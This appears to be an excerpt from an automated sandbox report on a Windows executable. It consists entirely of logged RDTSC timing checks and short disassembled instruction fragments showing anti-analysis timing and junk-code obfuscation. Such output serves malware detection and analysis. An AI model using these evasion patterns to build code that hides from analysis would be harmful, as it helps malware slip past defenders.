Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 23DC00 second address: 23DC04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 23E288 second address: 23E28E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 23E28E second address: 23E294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 23E39D second address: 23E3A3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 242A05 second address: 242A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 js 00007FB180E7873Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24206F second address: 24207E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FB180E7C716h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24207E second address: 242096 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7873Eh 0x00000007 jnp 00007FB180E78736h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 242096 second address: 2420B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C727h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2421EA second address: 2421F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2421F5 second address: 242210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7C727h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 242210 second address: 24221B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2426D7 second address: 2426DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2426DB second address: 2426F5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FB180E78744h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2426F5 second address: 242709 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007FB180E7C716h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jnl 00007FB180E7C716h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 242709 second address: 24270D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24270D second address: 24272E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB180E7C727h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24289B second address: 2428AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7873Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 243059 second address: 24305F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24305F second address: 243080 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7873Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007FB180E7873Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 243080 second address: 243086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2432B0 second address: 2432CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78743h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 243714 second address: 243718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 243825 second address: 243835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB180E7873Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24413C second address: 24414D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 je 00007FB180E7C71Eh 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 244271 second address: 244275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2442F8 second address: 24431E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c cld 0x0000000d xchg eax, ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB180E7C71Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24431E second address: 244322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 244322 second address: 244328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 244328 second address: 244350 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78749h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007FB180E78744h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2478C3 second address: 2478C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2478C9 second address: 247928 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB180E78736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007FB180E78738h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 mov esi, 2047E77Ah 0x0000002e jnl 00007FB180E7873Ch 0x00000034 push 00000000h 0x00000036 ja 00007FB180E78736h 0x0000003c push 00000000h 0x0000003e mov edi, dword ptr [ebp+122D35DCh] 0x00000044 xchg eax, ebx 0x00000045 push ebx 0x00000046 push ebx 0x00000047 js 00007FB180E78736h 0x0000004d pop ebx 0x0000004e pop ebx 0x0000004f push eax 0x00000050 pushad 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 248DD3 second address: 248DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 248AF2 second address: 248B0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB180E78748h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 248DD8 second address: 248E02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB180E7C727h 0x00000008 ja 00007FB180E7C716h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 248B0E second address: 248B2E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007FB180E78743h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 24DDE2 second address: 24DDE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25133E second address: 251342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 251342 second address: 251362 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB180E7C716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 mov bl, 8Fh 0x00000012 push 00000000h 0x00000014 mov edi, dword ptr [ebp+122D392Ch] 0x0000001a xchg eax, esi 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 251362 second address: 251381 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78742h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jl 00007FB180E78736h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 251381 second address: 25138E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 250569 second address: 25056D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25056D second address: 25057B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB180E7C71Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2523C8 second address: 2523CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 253306 second address: 25339D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FB180E7C718h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 sub dword ptr [ebp+12460642h], esi 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007FB180E7C718h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 00000014h 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 movsx edi, ax 0x0000004a call 00007FB180E7C727h 0x0000004f jo 00007FB180E7C720h 0x00000055 jmp 00007FB180E7C71Ah 0x0000005a pop ebx 0x0000005b xchg eax, esi 0x0000005c push eax 0x0000005d push edx 0x0000005e ja 00007FB180E7C729h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25251C second address: 25252A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25339D second address: 2533B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB180E7C725h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25252A second address: 25252E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25252E second address: 2525BB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 xor edi, 7928ADCAh 0x0000000e add dword ptr [ebp+122D35D1h], edi 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push edx 0x0000001c mov dword ptr [ebp+1244CB60h], esi 0x00000022 pop edi 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007FB180E7C718h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 0000001Ch 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 mov bh, DBh 0x00000046 mov eax, dword ptr [ebp+122D0749h] 0x0000004c push 00000000h 0x0000004e push edx 0x0000004f call 00007FB180E7C718h 0x00000054 pop edx 0x00000055 mov dword ptr [esp+04h], edx 0x00000059 add dword ptr [esp+04h], 00000014h 0x00000061 inc edx 0x00000062 push edx 0x00000063 ret 0x00000064 pop edx 0x00000065 ret 0x00000066 mov dword ptr [ebp+122D1A93h], ebx 0x0000006c push FFFFFFFFh 0x0000006e mov bx, dx 0x00000071 mov edi, dword ptr [ebp+122D3763h] 0x00000077 push eax 0x00000078 push ecx 0x00000079 push eax 0x0000007a push edx 0x0000007b jnp 00007FB180E7C716h 0x00000081 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2542D3 second address: 2542D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2534F8 second address: 2534FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2542D7 second address: 2542E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FB180E78736h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2534FC second address: 253500 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2542E5 second address: 254373 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FB180E78738h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 pushad 0x00000025 jmp 00007FB180E78747h 0x0000002a popad 0x0000002b push 00000000h 0x0000002d sub dword ptr [ebp+122D1F2Eh], ecx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007FB180E78738h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f mov dword ptr [ebp+12456ACEh], eax 0x00000055 jmp 00007FB180E78747h 0x0000005a push eax 0x0000005b pushad 0x0000005c push ecx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 253500 second address: 253506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 253506 second address: 2535BB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB180E78738h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jg 00007FB180E78744h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007FB180E78738h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 mov bx, 919Ah 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f jmp 00007FB180E78741h 0x00000044 mov eax, dword ptr [ebp+122D1761h] 0x0000004a push 00000000h 0x0000004c push ebp 0x0000004d call 00007FB180E78738h 0x00000052 pop ebp 0x00000053 mov dword ptr [esp+04h], ebp 0x00000057 add dword ptr [esp+04h], 00000017h 0x0000005f inc ebp 0x00000060 push ebp 0x00000061 ret 0x00000062 pop ebp 0x00000063 ret 0x00000064 adc di, BA94h 0x00000069 push FFFFFFFFh 0x0000006b mov edi, edx 0x0000006d nop 0x0000006e jng 00007FB180E78749h 0x00000074 push eax 0x00000075 push ebx 0x00000076 pushad 0x00000077 push ebx 0x00000078 pop ebx 0x00000079 push eax 0x0000007a push edx 0x0000007b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 254595 second address: 2545A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2554EF second address: 2555A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 movsx ebx, si 0x0000000c or ebx, 5FD8F8DAh 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push ecx 0x0000001a mov di, 8915h 0x0000001e pop edi 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 sub dword ptr [ebp+1244ECC9h], ecx 0x0000002c mov eax, dword ptr [ebp+122D1491h] 0x00000032 push 00000000h 0x00000034 push ecx 0x00000035 call 00007FB180E78738h 0x0000003a pop ecx 0x0000003b mov dword ptr [esp+04h], ecx 0x0000003f add dword ptr [esp+04h], 0000001Ah 0x00000047 inc ecx 0x00000048 push ecx 0x00000049 ret 0x0000004a pop ecx 0x0000004b ret 0x0000004c call 00007FB180E78741h 0x00000051 add bx, E47Fh 0x00000056 pop ebx 0x00000057 push FFFFFFFFh 0x00000059 push 00000000h 0x0000005b push ebp 0x0000005c call 00007FB180E78738h 0x00000061 pop ebp 0x00000062 mov dword ptr [esp+04h], ebp 0x00000066 add dword ptr [esp+04h], 0000001Ch 0x0000006e inc ebp 0x0000006f push ebp 0x00000070 ret 0x00000071 pop ebp 0x00000072 ret 0x00000073 xor di, 4900h 0x00000078 nop 0x00000079 jmp 00007FB180E7873Bh 0x0000007e push eax 0x0000007f push eax 0x00000080 push edx 0x00000081 js 00007FB180E7873Ch 0x00000087 jo 00007FB180E78736h 0x0000008d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2571B7 second address: 2571BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 256463 second address: 256468 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2571BB second address: 2571CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007FB180E7C716h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2571CC second address: 257244 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a popad 0x0000000b nop 0x0000000c call 00007FB180E78749h 0x00000011 mov bx, 8DA3h 0x00000015 pop ebx 0x00000016 mov dword ptr [ebp+122D26B3h], edx 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007FB180E78738h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 0000001Bh 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 jno 00007FB180E78738h 0x0000003e push 00000000h 0x00000040 jnp 00007FB180E7873Ah 0x00000046 xchg eax, esi 0x00000047 push eax 0x00000048 push edx 0x00000049 jnp 00007FB180E7873Ch 0x0000004f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2591A3 second address: 2591BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C726h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2591BD second address: 2591C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2591C3 second address: 2591C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25A059 second address: 25A05D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25A05D second address: 25A067 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB180E7C716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25A067 second address: 25A08B instructions: 0x00000000 rdtsc 0x00000002 je 00007FB180E7874Ah 0x00000008 jmp 00007FB180E78744h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25A08B second address: 25A092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25A092 second address: 25A0EC instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB180E7873Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov di, cx 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007FB180E78738h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a push ecx 0x0000002b mov dword ptr [ebp+122D35A8h], ebx 0x00000031 pop edi 0x00000032 push 00000000h 0x00000034 mov di, bx 0x00000037 xchg eax, esi 0x00000038 push eax 0x00000039 jg 00007FB180E78738h 0x0000003f pop eax 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25A0EC second address: 25A0FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 25D0F0 second address: 25D0F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
